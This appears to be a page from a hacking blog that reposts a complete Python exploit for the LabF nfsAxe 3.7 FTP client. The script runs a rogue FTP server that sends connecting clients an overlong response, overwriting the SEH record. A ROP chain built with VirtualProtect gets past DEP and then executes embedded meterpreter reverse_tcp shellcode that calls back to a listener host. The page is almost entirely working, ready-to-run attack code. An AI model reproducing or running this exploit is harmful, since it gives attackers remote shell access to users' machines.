Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863551377

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
#
# Exploit Title     : LabF nfsAxe 3.7 FTP Client (DEP Bypass)
# Date              : 12/8/2017
# Exploit Author    : wetw0rk
# Vendor Homepage   : http://www.labf.com/nfsaxe/nfs-server.html
# Software link     : http://www.labf.com/download/nfsaxe.exe 
# Version           : 3.7
# Tested on         : Windows 7 (x86)
# Description       : Upon connection the victim is sent a specially crafted buffer
#                     overwriting the SEH record, resulting in code execution. 
#
# Greetz: abatchy17, mvrk, and Dillage (Dilly Dilly)
#
# Trigger the vulnerability by :
#   Login as -> [check] anonymous -> connect
#

import struct, socket

host = "0.0.0.0"
port = 21

# msfvenom LHOST=192.168.0.12 LPORT=34 -p windows/meterpreter/reverse_tcp
# -f python -b "\x00\x0a\x10" -v shellcode --smallest
shellcode =  ""
shellcode += "\x2b\xc9\x66\xb9\x18\x01\xe8\xff\xff\xff\xff\xc1"
shellcode += "\x5e\x30\x4c\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05"
shellcode += "\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f\x9b\x43"
shellcode += "\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c"
shellcode += "\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28"
shellcode += "\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe"
shellcode += "\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40"
shellcode += "\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b"
shellcode += "\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf"
shellcode += "\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41"
shellcode += "\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa"
shellcode += "\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24"
shellcode += "\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4"
shellcode += "\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0\xcc\xc0\xfd"
shellcode += "\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88"
shellcode += "\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xc6\xa7"
shellcode += "\xc6\x6f\x18\xb1\xbe\xdb\xb6\xb5\xb6\x95\x31\x5f"
shellcode += "\xea\xeb\xec\xed\xfe\xef\x80\x91\xaa\x29\xcb\x1a"
shellcode += "\x26\x38\x1d\x5e\xa0\xdb\x9a\x9a\xa6\x56\x75\xa5"
shellcode += "\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31"
shellcode += "\xb6\x2f\x55\x43\xb4\x1c\x31\x8f\xe6\x8d\xec\xbf"
shellcode += "\xbd\x83\xee\x34\x26\xb0\x0f\x24\x79\xc5\x9e\xb5"
shellcode += "\x9e\xf7\xe8\xf9\xfa\xad\x96\xfd\x96\xa7\xa4\x52"
shellcode += "\xe7\xfc\xd1\x96\x55\x6d\x08\x5f\x59\x5c\x64\x0f"
shellcode += "\xd7\xc7\x4f\xee\xc7\x12\xd7\x3c\xd0\x62\xf6\xda"

def create_rop_chain():
    # https://www.corelan.be/index.php/security/corelan-ropdb/
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
    	0x7c37653d, 	# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
	    0xfffffdff,	# Value to negate, will become 0x00000201 (dwSize)
	    0x7c347f98,	# RETN (ROP NOP) [msvcr71.dll]
	    0x7c3415a2,	# JMP [EAX] [msvcr71.dll]
	    0xffffffff,	# 
	    0x7c376402,	# skip 4 bytes [msvcr71.dll]
	    0x7c351e05,	# NEG EAX # RETN [msvcr71.dll] 
	    0x7c345255,	# INC EBX # FPATAN # RETN [msvcr71.dll] 
	    0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
	    0x7c344f87,	# POP EDX # RETN [msvcr71.dll] 
	    0xffffffc0,	# Value to negate, will become 0x00000040
	    0x7c351eb1,	# NEG EDX # RETN [msvcr71.dll] 
	    0x7c34d201,	# POP ECX # RETN [msvcr71.dll] 
	    0x7c38b001,	# &Writable location [msvcr71.dll]
	    0x7c347f97,	# POP EAX # RETN [msvcr71.dll] 
	    0x7c37a151,	# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
	    0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
	    0x7c345c30,	# ptr to 'push esp #  ret ' [msvcr71.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
rop_chain += "\x90" * 20
rop_chain += shellcode
off2ROP = "B" * 212                 # offset to the start of our ROP chain
off2nSEH = "A" * (9391- (           # offset the nSEH and adjustments
    len(off2ROP) + len(rop_chain)   # account for shellcode and offset
    )
)
nSEH = "BBBB"                        # SEH will be the start of the stack pivot
SEH = struct.pack('<L', 0x68034468)  # ADD ESP,61C # POP # POP # POP # POP # POP # RETN [WCMDPA10.dll]
trigger = "C" * (10000 - (           # fill buffer to trigger vulnerability
    9399                             # offset + nSEH + SEH
    )
)

buffer  = off2ROP + rop_chain + off2nSEH + nSEH + SEH + trigger
payload = "220 %s is current directory\r\n" % (buffer)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind((host, port))
    sock.listen(20)
    print("[*] server listening on %s:%d") % (host, port)
except:
    print("[-] failed to bind the server exiting...")
    exit()

while True:
    conn, addr = sock.accept()
    print("[*] connection from %s:%d") % (addr[0], addr[1])
    print("[+] sending %d bytes to target host" % (len(buffer)))
    conn.send('220 Welcome Serv-U FTP Server v6.0 for WinSock ready...\r\n')
    conn.recv(1024)
    conn.send('331 OK\r\n')
    conn.recv(1024)
    conn.send('230 OK\r\n')
    conn.recv(1024)
    conn.send(payload)